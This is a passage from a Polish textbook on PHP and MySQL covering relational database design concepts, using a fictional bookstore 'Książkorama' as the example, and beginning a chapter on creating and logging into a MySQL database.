bazy danych MySQL, a następnie połączymy to, czego się nauczymy, z PHP, dzięki czemu moż-
liwe stanie się korzystanie z bazy danych poprzez WWW.
212 Część I  Stosowanie PHP
Część II
Stosowanie MySQL
214 Część II  Stosowanie MySQL
Rozdział 8.  Projektowanie internetowej bazy danych 215

Rozdział 8.
Projektowanie
internetowej bazy danych
Gdy już znamy podstawy PHP, możemy przystąpić do łączenia skryptów z bazą danych. Jak
pamiętamy, w rozdziale 2. przedstawiono korzyści wynikające z używania systemów zarządza-
nia relacyjnymi bazami danych (RDBMS) zamiast plików jednorodnych:
 Bazy danych pozwalają na szybszy dostęp do danych niż pliki jednorodne.
 Bazy danych pozwalają na wykonywanie zapytań o dane spełniające konkretne kryteria.
 Bazy danych posiadają wbudowany mechanizm zapewniania równoległego dostępu,
dzięki czemu my, programiści, nie musimy się tym przejmować.
 Bazy danych pozwalają na swobodny dostęp do danych.
 Bazy danych mają wbudowany system przywilejów.

Ujmując rzecz bardziej konkretnie, korzystanie z baz danych pozwala na szybkie i łatwe uzyski-
wanie odpowiedzi na pytania dotyczące miejsca zamieszkania klientów, najlepiej sprzedającego
się produktu czy typu klientów wydających najwięcej pieniędzy. Informacje te pomogą ulepszyć
stronę WWW, aby przyciągnąć i zatrzymać większą liczbę użytkowników, lecz ich odczytywanie
z plików płaskich byłoby bardzo trudnym zadaniem.

Bazą danych, z której będziemy korzystać w tej części książki, jest MySQL. Zanim jednak zaj-
miemy się konkretnymi zagadnieniami dotyczącymi bazy danych, powinniśmy rozważyć nastę-
pujące kwestie:
 koncepcję i terminologię relacyjnych baz danych,
 projektowanie internetowych baz danych,
 architekturę internetowych baz danych.

W kolejnych rozdziałach opiszemy następujące zagadnienia:


 W rozdziale 9. omówimy konfigurację niezbędną do połączenia MySQL z internetem.
Pokażemy, jak tworzy się użytkowników, bazy danych, tabele i indeksy, a także
zaprezentujemy mechanizmy składowania używane w MySQL.
 W rozdziale 10. wyjaśnimy, jak wysyłać zapytania do bazy oraz dodawać i usuwać rekordy
z poziomu wiersza poleceń.
 W rozdziale 11. opiszemy, w jaki sposób łączyć PHP z MySQL w celu administrowania
i korzystania z bazy danych z poziomu strony WWW. Przedstawimy dwie metody
216 Część II  Stosowanie MySQL

wykonania tego zadania: przy wykorzystaniu rodzimego sterownika PHP oraz przy użyciu
biblioteki PDO niezależnej od stosowanej bazy danych.
 W rozdziale 12. przedstawimy zaawansowane sposoby administrowania serwerem MySQL,
w tym również szczegółowe informacje na temat systemu uprawnień, bezpieczeństwa
serwera i jego optymalizacji.
 W rozdziale 13. bardziej szczegółowo omówimy mechanizmy składowania danych
wchodzące w skład serwera MySQL, w tym również transakcje, przeszukiwanie
pełnotekstowe oraz procedury składowane.

Koncepcje relacyjnych baz danych


Relacyjne bazy danych są obecnie najczęściej wykorzystywanym typem baz danych. Opierają się one
na teoretycznych podstawach algebry relacyjnej. Zrozumienie teorii relacji nie jest niezbędne do uży-
wania relacyjnych baz danych (co jest korzystne), konieczne jest natomiast zrozumienie podstawo-
wych koncepcji związanych z relacyjnymi bazami danych.

Tabele
Relacyjne bazy danych składają się z relacji, zwanych zazwyczaj tabelami. Tabela jest dokładnie tym,
co oznacza — tabelą danych. Jeśli używaliście arkusza kalkulacyjnego, używaliście również tabeli.
Rozważmy następujący przykład.
Spójrzmy na przykładową tabelę przedstawioną na rysunku 8.1. Zawiera ona nazwiska i adresy
klientów księgarni o nazwie „Książkorama”.

Rysunek 8.1.
Informacje na temat
klientów „Książkoramy”
są przechowywane
w tabeli

Tabela posiada nazwę (Klienci), kilka kolumn, z których każda zawiera inny rodzaj danych, oraz
wiersze odpowiadające poszczególnym klientom.

Kolumny
Każda kolumna tabeli posiada wyróżniającą ją nazwę i zawiera inny rodzaj danych. Ponadto każdej
kolumnie przypisany jest typ danych. Na przykład z tabeli Klienci na rysunku 8.1 można wywnio-
skować, iż KlientID jest typu całkowitoliczbowego, natomiast pozostałe trzy kolumny zawierają
ciągi znaków. Kolumny są czasem nazywane polami lub atrybutami.

Wiersze
Każdy wiersz tabeli odpowiada innemu klientowi. Format tabelaryczny powoduje, że każdy wiersz
ma te same atrybuty. Wiersze są również nazywane rekordami lub krotkami.
Rozdział 8.  Projektowanie internetowej bazy danych 217

Wartości
Każdy wiersz zawiera zbiór pojedynczych wartości odpowiadających kolumnom. Każda z tych
wartości musi być tego samego typu, jaki przypisano kolumnie, w której się znajduje.

Klucze
Konieczne jest znalezienie sposobu jednoznacznej identyfikacji każdego klienta. Nazwiska nie
na wiele się tu zdadzą — łatwo zgadnąć, dlaczego, szczególnie w przypadku popularnych. Roz-
patrzmy przykład Julii Kowalskiej z tabeli Klienci: w książce telefonicznej figuruje mnóstwo
osób o tym nazwisku.

Moglibyśmy wyróżnić Julię na kilka sposobów. Zapewne jest ona jedyną osobą o tym nazwisku
mieszkającą pod przypisanym jej adresem, jednak mówienie o „Julii Kowalskiej z ulicy Wierz-
bowej 25 w Warszawie” jest dosyć niewygodne i brzmi chyba za bardzo urzędowo. Ponadto
metoda ta wymaga korzystania z więcej niż jednej kolumny tabeli.
Metoda, którą posłużyliśmy się w tym przykładzie i którą zapewne większość Czytelników będzie
wykorzystywać w swoich aplikacjach, polega na dodaniu unikalnego pola KlientID. Na tej samej
zasadzie jest nadawany numer konta w banku czy numer członkostwa w klubie. Dzięki temu
przechowywanie szczegółowych danych w bazie staje się znacznie prostsze. Sztucznie nadawany
numer identyfikacyjny gwarantuje unikalność poszczególnych rekordów, co rzadko zapewniają
nam prawdziwe dane, a nawet ich kombinacje.
Pole identyfikujące poszczególne rekordy nazywane jest kluczem bądź też kluczem podstawowym.
Klucz może się też składać z kilku pól. Jeśli na przykład zdecydowalibyśmy się wyróżniać Julię
jako „Julia Kowalska z ulicy Wierzbowej 25 w Warszawie”, to klucz składałby się z pól Nazwisko,
Adres i Miejscowosc, co jednak nie gwarantowałoby unikalności.

Bazy danych składają się najczęściej z więcej niż jednej tabeli i wykorzystują klucze do uwidocz-
nienia odwołań między dwiema oddzielnymi tabelami. Rysunek 8.2 przedstawia drugą tabelę,
którą dołączyliśmy do naszej bazy danych. W nowej tabeli przechowywane są informacje doty-
czące zamówień złożonych przez klientów księgarni. Każdy wiersz tabeli Zamowienia odpowiada
jednemu zamówieniu dokonanemu przez jednego klienta. Tabela ta zawiera również kolumnę
KlientID, dzięki czemu wiemy, kim jest klient, który złożył dane zamówienie. Przeanalizujmy
zamówienie, dla którego ZamowienieID jest równe 2: widzimy, iż zostało ono złożone przez klienta,
którego KlientID wynosi 1. Z tabeli Klienci wynika, iż tym klientem jest Julia Kowalska.
218 Część II  Stosowanie MySQL

Rysunek 8.2.
Każde zamówienie
w tabeli Zamowienia
zawiera odwołanie
do klienta z tabeli
Klienci

Relację tego typu określa się mianem klucza obcego. KlientID jest kluczem podstawowym w tabeli
Klienci, lecz jeśli pole to pojawi się również w innej tabeli, na przykład Zamowienia, to nosi nazwę
klucza obcego.
Można by zadać pytanie, dlaczego zostały utworzone dwie oddzielne tabele, zamiast zapamiętywać
adres Julii w tabeli Zamowienia. Odpowiedzi udzielimy w następnym podrozdziale.

Schematy
Zbiór projektów wszystkich tabel wchodzących w skład bazy danych nazywamy schematem bazy
danych — jest to całościowy projekt bazy. Schemat powinien zawierać projekty tabel wraz z ozna-
czeniem kolumn, typów danych przypisanych poszczególnym kolumnom oraz wskazywać klucze
podstawowe i klucze obce. Generalnie schemat nie powinien zawierać żadnych danych, można
jednak przedstawić przykładowe dane w celu lepszego objaśnienia projektu. Schematy baz danych
mogą mieć formę nieformalnych diagramów, takich jak na rysunkach 8.1 i 8.2, diagramów encji
i relacji (tym rodzajem diagramów nie będziemy się zajmować) bądź też formę tekstową, np.:
Klienci(KlientID, Nazwisko, Adres, Miasto)
Zamowienia(ZamowienieID, KlientID, Wartosc, Data)

Pogrubienie nazwy kolumny oznacza, iż będą w niej zapamiętywane klucze podstawowe tabeli,
w której ta kolumna się znajduje. Natomiast kursywą wyróżnione są te kolumny, w których zapa-
miętywane będą klucze obce.

Relacje
Klucze obce ukazują relacje pomiędzy danymi z dwóch różnych tabel. Na przykład połączenie
tabeli Zamowienia z tabelą Klienci odzwierciedla relację między konkretnym wierszem tabeli
Zamowienia i określonym wierszem tabeli Klienci.

Teoria relacyjnych baz danych uwzględnia istnienie trzech typów relacji. Są one klasyfikowane
zależnie od liczby wartości, które mogą wystąpić po każdej stronie relacji. Wyróżnia się więc relacje
„jeden do jednego”, „jeden do wielu” i „wiele do wielu”.
Rozdział 8.  Projektowanie internetowej bazy danych 219

Relacja „jeden do jednego” oznacza, iż po każdej stronie może występować tylko jedna wartość.
Na przykład gdybyśmy wydzielili z tabeli Klienci odrębną tabelę zawierającą adresy, wówczas
byłyby one powiązane relacją „jeden do jednego”. Tabela Klienci mogłaby więc posiadać klucz
obcy z tabeli Adresy lub odwrotnie.

W relacji „jeden do wielu” jeden wiersz tabeli jest połączony z jednym wierszem lub wieloma
wierszami drugiej. W naszym przykładzie jeden klient może złożyć kilka zamówień. W przypadku
tego typu relacji tabela z wieloma wierszami będzie zawierać kolumnę z kluczem obcym pochodzą-
cym z tabeli z jednym wierszem. Dlatego też w tabeli Zamowienia umieściliśmy kolumnę KlientID
w celu zastosowania tej relacji.

W przypadku relacji „wiele do wielu” wiele wierszy jednej tabeli jest połączonych z wieloma
wierszami innej. Gdybyśmy na przykład mieli dwie tabele: Ksiazki i Autorzy, mogłaby zaist-
nieć sytuacja, w której jedna z książek miałaby dwóch współautorów, przy czym każdy z nich
mógłby być również autorem lub współautorem innych książek. Tego typu relacje są zazwyczaj
upraszczane poprzez utworzenie dodatkowej, trzeciej tabeli. Mielibyśmy więc tabele Ksiazki,
Autorzy oraz Autorzy_Ksiazki. Ta ostatnia zawierałaby tylko pary kluczy obcych pochodzących
z dwóch pozostałych tabel i określałaby, jaki autor napisał (samodzielnie lub z innym autorem)
daną książkę.

Jak zaprojektować internetową bazę danych?


Projektowanie nowych tabel i wyznaczanie ich kluczy jest swego rodzaju sztuką. Można oczy-
wiście próbować przebrnąć przez wiele publikacji dotyczących diagramów encji i relacji i procesu
normalizacji baz danych (które to zagadnienia wykraczają poza ramy tej książki). Większość
etapów tworzenia schematu bazy danych opiera się jednak na podstawowych zasadach projekto-
wania. Rozważymy je w kontekście przykładowej księgarni „Książkorama”.

Określ obiekty świata realnego, których model chcesz wykonać


Projektując bazę danych, tworzy się najczęściej model obiektów świata rzeczywistego oraz relacji
zachodzących między nimi oraz gromadzi się informacje na temat tych obiektów i relacji.

Ogólnie można przyjąć, iż każda klasa modelowanych obiektów świata realnego powinna mieć
odpowiadającą jej tabelę. Chcemy na przykład przechowywać informacje o wszystkich klientach
naszej księgarni. Jeśli istnieje zbiór danych mający tę samą strukturę, można utworzyć tabelę odpo-
wiadającą tym danym.

W naszym przykładzie chcemy przechowywać informacje na temat klientów, sprzedawanych


książek oraz szczegółowe informacje dotyczące złożonych zamówień. Wszyscy klienci mają
nazwiska i adresy. Każde zamówienie jest oznaczone datą, ma wartość całkowitą i opiewa na jedną
lub więcej książek. Każda książka posiada numer ISBN (ang. International Standard Book Num-
ber), autora, tytuł i cenę.

Na podstawie tak opisanego zbioru informacji łatwo zatem zauważyć, iż w projektowanej bazie
są potrzebne co najmniej trzy tabele: Klienci, Zamowienia oraz Ksiazki. Początkowy schemat tej
bazy danych jest przedstawiony na rysunku 8.3.
220 Część II  Stosowanie MySQL

Rysunek 8.3.
Schemat początkowy
zawiera tabele Klienci,
Zamowienia i Ksiazki

Na tym etapie nie jesteśmy w stanie określić na podstawie modelu, które książki zostały zamówione
i w jakim zamówieniu. Zajmiemy się tym w następnym podrozdziale.

Unikaj przechowywania redundantnych danych


W jednym z poprzednich podrozdziałów padło pytanie: „Czy nie można by przechowywać adresu
Julii Kowalskiej w tabeli Zamowienia?”.

Jeśli Julia często będzie zamawiać książki w księgarni „Książkorama”, na co oczywiście liczymy,
wówczas jej dane zostaną zapisane wiele razy. Tabela Zamowienia wyglądałaby więc tak jak na
rysunku 8.4.

Rysunek 8.4.
Baza danych
przechowująca dane
redundantne zajmuje
znacznie więcej pamięci
i może powodować
przekłamania danych

Tak zaprojektowana tabela może stać się źródłem problemów dwojakiego rodzaju:
 Marnotrawstwo pamięci. Po co mamy zapisywać dane Julii czterokrotnie, jeśli wystarczy,
że zapiszemy je tylko raz?
Rozdział 8.  Projektowanie internetowej bazy danych 221

 Możliwość powstania tzw. anomalii uaktualniania, czyli sytuacji, w której zmiana danych
zawartych w bazie prowadzi do utraty ich spójności. Naruszona zostaje integralność danych
i nie mamy pewności, które dane są poprawne, a które nie. Skutkuje to zazwyczaj utratą
informacji.

Należy unikać trzech rodzajów anomalii uaktualniania bazy danych: modyfikacji, wstawiania
i usuwania.

Jeśli Julia zmieni miejsce zamieszkania po złożeniu zamówienia, a przed jego realizacją, wówczas
należy uaktualnić jej adres w czterech miejscach bazy zamiast w jednym, co wymaga cztero-
krotnie więcej pracy. Nietrudno jest przeoczyć ten fakt i dokonać uaktualnienia tylko w jednym
miejscu, a w konsekwencji doprowadzić do utraty spójności danych (niedopuszczalne!). Zagrożenia
tego typu nazywane są anomaliami modyfikacji, gdyż pojawiają się przy próbie dokonania zmian
w bazie danych.

Gdy mamy tak zaprojektowaną bazę danych, będziemy musieli wstawić dane Julii, ilekroć złoży ona
zamówienie. Za każdym razem trzeba będzie również sprawdzić spójność tych danych z wcześniej
zapisanymi do bazy. Niedopełnienie tego obowiązku może prowadzić do sytuacji, w której dane
dotyczące adresu Julii, zawarte w dwóch różnych wierszach, są ze sobą sprzeczne. W jednym wier-
szu na przykład może znaleźć się informacja, iż Julia mieszka w Warszawie, inny natomiast wska-
zywałby, że jej miejscem zamieszkania jest np. Wrocław. Sytuacja taka jest nazywana anomalią
wstawiania, gdyż pojawia się przy zapisywaniu nowych danych do bazy.

Trzecim typem zakłóceń jest anomalia usuwania występująca w przypadku (niespodzianka!)


usuwania wierszy z bazy danych. Jeśli wszystkie złożone przez Julię zamówienia zostaną zreali-
zowane, nastąpi ich usunięcie z tabeli Zamowienia. Oznacza to, że już nie będziemy mieli żadnego
rekordu zawierającego adres Julii. Nie będzie można wysłać jej specjalnej oferty, a gdy następnym
razem zapragnie zamówić jakąś książkę w naszej księgarni, trzeba będzie znowu uzyskać i zapisać
dane dotyczące jej adresu.

Powinniśmy zatem projektować bazy danych w taki sposób, aby nie wystąpiła żadna z powyższych
anomalii.

Zapisuj atomowe wartości kolumn


Zapisywanie atomowych wartości kolumn oznacza, że w każdym polu każdego wiersza zapisu-
jemy tylko jedną wartość. Na przykład musimy przechowywać informacje o tym, jakie książki
wchodziły w skład danego zamówienia. Istnieje kilka sposobów, aby to zrobić.

Jednym z rozwiązań może być dodanie kolumny do tabeli Zamowienia, w której zapisywane będą
wszystkie zamówione książki. Przypadek taki jest przedstawiony na rysunku 8.5.

Rysunek 8.5.
W tym przypadku pole
Ksiazki_zamowione
zawiera wartości
wielokrotne

Ten pomysł jest wadliwy z kilku powodów. Prowadzi on bowiem do zagnieżdżania w jednej kolum-
nie całej tabeli wiążącej zamówienia z książkami. Zastosowanie tej metody znacznie utrudni zna-
lezienie odpowiedzi na pytanie typu: „Ile egzemplarzy książki Java 2 dla profesjonalistów zostało
222 Część II  Stosowanie MySQL

zamówionych?”. System nie może po prostu zliczyć odpowiednich pól, lecz musi przeanalizować
wartość każdego atrybutu, aby sprawdzić, czy zawiera on szukane wartości.

Zatem tak naprawdę tworzymy tabelę w tabeli. Zamiast tego powinniśmy utworzyć nową tabelę
o nazwie Pozycje_zamowione. Jest ona pokazana na rysunku 8.6.

Rysunek 8.6.
Tak zaprojektowana
tabela ułatwia szukanie
zamówionych książek

Nowa tabela jest łącznikiem między tabelami Zamowienia i Ksiazki. Tabela tego typu jest wyko-
rzystywana najczęściej w przypadku istnienia pomiędzy dwoma obiektami relacji „wiele do
wielu” — w rozważanym przypadku jedno zamówienie może opiewać na kilka książek, a każda
książka może być zamówiona przez wielu klientów.

Kiedy trzeba rozwiązać problem, który naprawdę wymaga korzystania z nieatomowych wartości
kolumn, to warto rozważyć zastosowanie bazy danych przeznaczonej do przechowywania wartości
tego typu, a nie relacyjnej bazy danych. Takie bazy danych nie są bazami relacyjnymi i często
określa się je jako bazy NoSQL lub magazyny danych (ang. datastore). (Tanie nierelacyjne magazy-
ny danych nie będą opisywane w tej książce).

Dobierz właściwe klucze


Należy się upewnić, że wyznaczone klucze zagwarantują unikalność rekordów. W naszym przykła-
dzie utworzone zostały specjalne klucze dla klientów (KlientID) i dla zamówień (ZamowienieID),
ponieważ te obiekty świata rzeczywistego nie mają naturalnego identyfikatora zapewniającego
ich unikalność. Zbędne jest natomiast definiowanie kluczy dla książek — posiadają one przecież
własny numer ISBN. Tabelę Pozycje_zamowione można rozszerzyć o specjalnie wyznaczony
klucz, zauważmy jednak, że kombinacja dwóch atrybutów: ZamowienieID i ISBN zapewnia unikal-
ność każdego rekordu, jeśli tylko zamówiona książka będzie zapisywana w jednym wierszu nie-
zależnie od tego, ile jej egzemplarzy zamówiono. Z tego właśnie powodu tabela Pozycje_zamowione
posiada kolumnę Ilosc.

Pomyśl o zapytaniach, które zadasz bazie


Gdy projektujemy bazę danych, powinniśmy cały czas mieć na względzie informacje, jakie będzie-
my z niej uzyskiwać. (Na przykład które książki z naszej księgarni najlepiej się sprzedają?).
Należy się upewnić, iż baza będzie zawierać wszystkie niezbędne dane oraz że połączenia usta-
nowione pomiędzy tabelami umożliwią znalezienie odpowiedzi na pytania użytkownika.

Unikaj tworzenia tabel z wieloma pustymi polami


Zamysł dodania do bazy danych recenzji książek można zrealizować na co najmniej dwa sposoby
(rysunek 8.7).
Rozdział 8.  Projektowanie internetowej bazy danych 223

Rysunek 8.7.
W celu przechowywania
recenzji możemy dodać
kolumnę Recenzja
do tabeli Ksiazki lub
utworzyć dodatkową
tabelę Recenzje_ksiazek

Pierwszy sposób polega na dodaniu kolumny Recenzja do tabeli Ksiazki. Każda książka będzie
więc miała dodatkowe pole Recenzja. Jeśli baza danych przechowuje dane wielu książek, a recenzent
ocenia tylko niektóre z nich, wówczas w znacznej liczbie wierszy atrybut ten nie ma żadnej war-
tości. Pola mają wówczas wartość NULL.

Występowanie wielu pustych pól w bazie danych jest niewskazane. Prowadzi to do marnotrawstwa
pamięci, może być także przyczyną błędnych wyników zwracanych przez funkcje sumujące
wartości pól lub inne funkcje obliczeniowe. Użytkownik, widząc puste pole, nie jest pewien, czy
sytuacja ta jest spowodowana nieprawidłowością atrybutu, błędem w bazie danych, czy też po prostu
brakiem danych w bazie.

Można uniknąć problemów związanych z występowaniem wielu pustych pól, stosując drugi ze
sposobów pokazanych na rysunku 8.7. W tym przypadku tabela Recenzje_ksiazek zawiera tylko
te pozycje, które zostały już ocenione, oraz samą recenzję.

Zauważmy, iż założeniem tego projektu jest istnienie pracującego dla naszej księgarni recenzenta,
czyli inaczej mówiąc, obecność relacji jeden do jednego między tabelami Ksiazki i Recenzje_ksiazek.
Gdybyśmy chcieli przechowywać wiele recenzji jednej książki, mielibyśmy do czynienia z relacją
jeden do wielu, a więc trzeba by zastosować drugie rozwiązanie. Ponadto mając tylko jedną recenzję
każdej książki jako klucz główny tabeli Recenzje_ksiazek, można by wykorzystać numer ISBN.
W przypadku wielu recenzji niezbędne jest wprowadzenie unikatowego identyfikatora każdej z nich.

Typy tabel — podsumowanie


Bez trudu można zauważyć, iż projekty baz danych zawierają najczęściej tabele dwojakiego rodzaju:
 Proste tabele opisujące obiekty świata rzeczywistego. W przypadku istnienia relacji
„jeden do jednego” lub „jeden do wielu” mogą one również zawierać klucze do innych
obiektów. Dla przykładu: jeden klient może złożyć wiele zamówień, ale jedno zamówienie
może być złożone tylko przez jednego klienta. W zamówieniu umieszczamy więc odwołanie
do klienta.
 Tabele łączące, które opisują relacje „wiele do wielu” występujące między dwoma
obiektami, jak w przypadku zamówień i książek. Tabele te są często związane z pewnymi
typami transakcji występujących w świecie rzeczywistym.
224 Część II  Stosowanie MySQL

Architektura internetowej bazy danych


Poznawszy wewnętrzną strukturę bazy danych możemy przyjrzeć się zewnętrznej architekturze
internetowych systemów baz danych oraz omówić metodologię projektowania tych systemów.

Podstawowa operacja wykonywana przez serwer WWW jest pokazana na rysunku 8.8. Przed-
stawiony system składa się z dwóch obiektów: przeglądarki internetowej oraz serwera WWW,
pomiędzy którymi wymagane jest istnienie połączenia umożliwiającego komunikację. Przeglądarka
wysyła żądanie do serwera, serwer natomiast przesyła odpowiedź. Taka architektura sprawdza się
w przypadku przesyłania przez serwer stron statycznych. System dostarczający przeglądarce strony
WWW oparte na bazie danych ma bardziej złożoną konstrukcję.

Rysunek 8.8.
Relacja klient-serwer między
przeglądarką i serwerem WWW
wymaga komunikacji

Internetowa aplikacja bazodanowa, którą utworzymy, będzie się opierać na klasycznej architekturze
internetowej bazy danych, pokazanej na rysunku 8.9. Większość przedstawionych obiektów zapew-
ne jest już znana Czytelnikom.

Rysunek 8.9. Relacja klient – serwer pomiędzy przeglądarką WWW a serwerem WWW wymaga ich
wzajemnej komunikacji

Typowa transakcja bazodanowa przeprowadzana w internecie składa się z etapów wymienionych


na rysunku 8.9. Przeanalizujemy je, posługując się przykładem księgarni „Książkorama”.
1. Przeglądarka internetowa użytkownika wysyła żądanie udostępnienia określonej strony
WWW. Wykorzystując odpowiedni formularz HTML, może ona na przykład zażądać
wyświetlenia wszystkich książek autorstwa Laury Thomson, które można nabyć
w „Książkoramie”. Strona z wynikami nosi nazwę rezultaty.php.
2. Serwer WWW przyjmuje żądanie wyświetlenia strony rezultaty.php, odnajduje właściwy
plik i przekazuje go do interpretera PHP.
3. Interpreter PHP rozpoczyna przetwarzanie skryptu. Wewnątrz skryptu zawarte jest polecenie
połączenia z bazą danych i wykonania zapytania (wyszukania określonych pozycji
książkowych). Następuje otwarcie połączenia z serwerem MySQL i przesłanie zapytania.
4. Serwer MySQL przyjmuje zapytanie i przetwarza je, po czym rezultat — listę książek
— odsyła do interpretera PHP.
5. Interpreter kończy wykonywanie skryptu, który zazwyczaj formatuje otrzymane wyniki
zgodnie ze standardami HTML, po czym przesyła wynikowy kod HTML do serwera WWW.
6. Serwer WWW przesyła kod HTML do przeglądarki, która wyświetla listę książek
spełniających kryteria zadane przez użytkownika.

Proces ten przebiega zawsze tak samo, niezależnie od typu interpretera skryptów czy używanego
serwera bazy danych. Czasami serwer WWW, interpreter PHP oraz serwer bazy danych pracują na
tym samym komputerze, nierzadko jednak spotyka się rozwiązania, w których serwer bazy danych
działa na oddzielnej maszynie. Metodę tę stosuje się najczęściej do celów bezpieczeństwa lub dla
Rozdział 8.  Projektowanie internetowej bazy danych 225

zmniejszenia obciążenia komputerów. Z punktu widzenia projektanta fakt ten nie zmieni sposobu
jego pracy, może jednak przyczynić się do istotnego wzrostu wydajności całego systemu.

Wzrost rozmiaru i złożoności aplikacji prowadzi do tego, że zaczyna dzielić się je na warstwy.
Zazwyczaj warstwa bazodanowa stanowi interfejs do bazy MySQL, druga warstwa realizuje logikę
biznesową i jest tak naprawdę jądrem całej aplikacji, z kolei warstwa prezentacji jest odpowie-
dzialna za generowanie wynikowego kodu HTML. Nie zmienia to jednak faktu, że punktem wyjścia
jest architektura przedstawiona na rysunku 8.9 — rozszerzeniu ulega jedynie kod źródłowy PHP.

Propozycje dalszych lektur


W tym rozdziale zostały przedstawione zasady projektowania relacyjnych baz danych. Aby pogłębić
wiadomości na temat teoretycznych podstaw tego zagadnienia, można sięgnąć po książki specjali-
stów w tej dziedzinie, do których należy m.in. C.J. Date. Warto jednak pamiętać, iż zawarte
w nich treści mają charakter ściśle teoretyczny i mogą okazać się niezbyt przydatne dla projektantów
komercyjnych aplikacji internetowych. Tworzone przez nich bazy danych są bowiem znacznie
mniej skomplikowane.

W następnym rozdziale
W następnym rozdziale zaczniemy tworzyć bazę danych opartą na MySQL. Najpierw przedsta-
wimy kolejne etapy tworzenia bazy danych udostępnianej w internecie, a następnie sposób prze-
kazywania zapytań do bazy oraz metody wysyłania zapytań z poziomu skryptów PHP.
226 Część II  Stosowanie MySQL
Rozdział 9.
Tworzenie internetowej
bazy danych
W rozdziale tym przedstawimy sposób tworzenia bazy danych MySQL, przeznaczonej do udo-
stępniania na stronach WWW.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 tworzenie bazy danych,
 definiowanie użytkowników i przywilejów,
 wprowadzenie do systemu przywilejów,
 tworzenie tabel bazy danych,
 tworzenie indeksów,
 wybieranie typów kolumn w MySQL.

Również i w tym rozdziale posłużymy się znanym już przykładem księgarni internetowej „Książko-
rama”. Przypomnijmy schemat jej bazy danych:
Klienci(KlientID, Nazwisko, Adres, Miejscowosc)
Zamowienia (ZamowienieID, KlientID, Wartosc, Data)
Ksiazki (ISBN, Autor, Tytul, Cena)
Pozycje_zamowione (ZamowienieID, ISBN, Ilosc)
Recenzje_ksiazek (ISBN, Recenzja)

Należy również przypomnieć, iż nazwy pól będących kluczami podstawowymi są podkreślone


linią ciągłą, a nazwy pól będących kluczami obcymi są wyświetlone kursywą.

W celu przeanalizowania materiału zawartego w tym rozdziale należy zapewnić sobie dostęp do
serwera MySQL. Oznacza to, że trzeba przeprowadzić instalację MySQL na serwerze WWW,
obejmującą następujące czynności:
 instalację plików,
 rejestrację użytkownika na serwerze MySQL, jeśli jest to wymagane przez używany
system operacyjny,
 zdefiniowanie odpowiedniej ścieżki dostępu,
 uruchomienie aplikacji mysql_install_db, jeśli jest to wymagane przez używany
system operacyjny,
 określenie hasła administratora,
228 Część II  Stosowanie MySQL

 usunięcie użytkownika anonimowego,


 uruchomienie serwera MySQL po raz pierwszy i skonfigurowanie go w taki sposób,
by uruchamiał się automatycznie.

Po wykonaniu wymienionych czynności można przystąpić do lektury tego rozdziału. Jeśli jednak
instalacja nie powiodła się, należy kierować się instrukcjami zawartymi w dodatku A.

Ewentualne błędy, które mogą wystąpić w trakcie wykonywania czynności opisywanych w tym
rozdziale, spowodowane będą prawdopodobnie nieprawidłową pracą serwera MySQL. W takim
przypadku należy ponownie przeanalizować czynności opisane powyżej oraz przedstawione
w dodatku A w celu upewnienia się, iż MySQL został prawidłowo zainstalowany.

Może się zdarzyć, że Czytelnik będzie miał dostęp do serwera MySQL zainstalowanego na kompu-
terze, którym Czytelnik nie zarządza, na przykład udostępnianym przez dostawcę usług interne-
towych na zdalnym komputerze, w miejscu pracy itp.

W takim przypadku wykonanie zawartych w tym rozdziale przykładów lub utworzenie własnej
bazy danych będzie wymagało zarejestrowania przez administratora odpowiedniego użytkownika
oraz znajomości jego nazwy, hasła i nazwy przypisanej mu bazy danych. Fragmenty tego rozdziału
poświęcone konfiguracji użytkowników i baz danych można pominąć lub przeczytać, by móc
lepiej wyjaśnić administratorowi przedstawione wcześniej wymagania. Zwykli użytkownicy nie
będą wszakże mogli samodzielnie tworzyć własnych użytkowników i baz danych.

Wszystkie przykłady zawarte w tym rozdziale były uruchamiane na serwerze MySQL Community
Edition w wersji 5.6, która w trakcie pisania tej książki była wersją najnowszą. Niektóre wcze-
śniejsze wersje serwera posiadają nieco mniejsze możliwości, dlatego też przed rozpoczęciem
lektury należy zastąpić starszą wersję nową instalacją MySQL. Najnowszą wersję serwera MySQL
można pobrać ze strony http://www.mysql.com.

W książce komunikację z serwerem MySQL prowadzimy przy użyciu klienta wiersza poleceń
o nazwie MySQL monitor, stanowiącego składnik każdej instalacji. Nic jednak nie stoi na prze-
szkodzie, by używać innego klienta. Jeśli na przykład używany serwer MySQL znajduje się na
dzierżawionym serwerze WWW, administratorzy systemu zwykle udostępniają użytkownikom
działający przez przeglądarkę interfejs phpMyAdmin. Różne klienty GUI działają nieco inaczej,
niż zostanie to przedstawione w tym rozdziale, lecz odpowiednie zaadaptowanie przedstawionych
instrukcji nie powinno sprawić większego kłopotu.

Użytkowanie monitora MySQL


W przykładach przedstawionych w dalszej części tego rozdziału oraz w rozdziale następnym
każda komenda jest zakończona znakiem średnika (;). Informuje on serwer MySQL o konieczno-
ści wykonania zadanego polecenia. Opuszczenie średnika spowoduje brak reakcji serwera, o czym
często zapominają użytkownicy, zwłaszcza niedoświadczeni.

Opuszczenie znaku średnika spowoduje, że nastąpi przejście do nowego wiersza przed zakończeniem
wpisywania tekstu komendy. Pozwoliło to nam na zwiększenie czytelności przykładów. Odnalezie-
nie miejsca, w którym nastąpiło przejście do nowego wiersza, nie powinno sprawić żadnych proble-
mów — MySQL wyświetli tam znak kontynuacji w formie strzałki przedstawionej poniżej:
mysql> grant select
->
Rozdział 9.  Tworzenie internetowej bazy danych 229

Symbol ten oznacza, że MySQL czeka na wprowadzenie dalszej części polecenia. Za każdym
razem, gdy zostanie naciśnięty klawisz Enter bez wcześniejszego wpisania znaku średnika, nastąpi
przejście do nowego wiersza i wyświetlenie symbolu strzałki.

Warto również zapamiętać, że MySQL nie rozróżnia małych i wielkich liter w poleceniach języka
SQL, może natomiast je rozróżniać w nazwach baz danych i tabel (kwestia ta zostanie poruszona
w dalszej części rozdziału).

Logowanie się do serwera MySQL


W celu zalogowania się do serwera MySQL należy przejść do wiersza poleceń systemu operacyj-
nego i wpisać następującą komendę:
> mysql –h nazwa_komputera –u identyfikator_uzytkownika –p

Polecenie mysql wywołuje monitor MySQL, mający postać wiersza poleceń łączącego klienta
z serwerem.

Opcji –h używa się w celu wskazania komputera, do którego ma nastąpić połączenie (na maszynie
tej pracuje serwer MySQL). Jeśli polecenie to ma być wykonane na tym samym komputerze, na
którym znajduje się MySQL, to opcja –h oraz parametr nazwa_komputera mogą zostać pominięte.
W przeciwnym wypadku konieczne jest wpisanie w miejsce parametru nazwa_komputera nazwy
maszyny, na której uruchomiony jest serwer bazy danych.

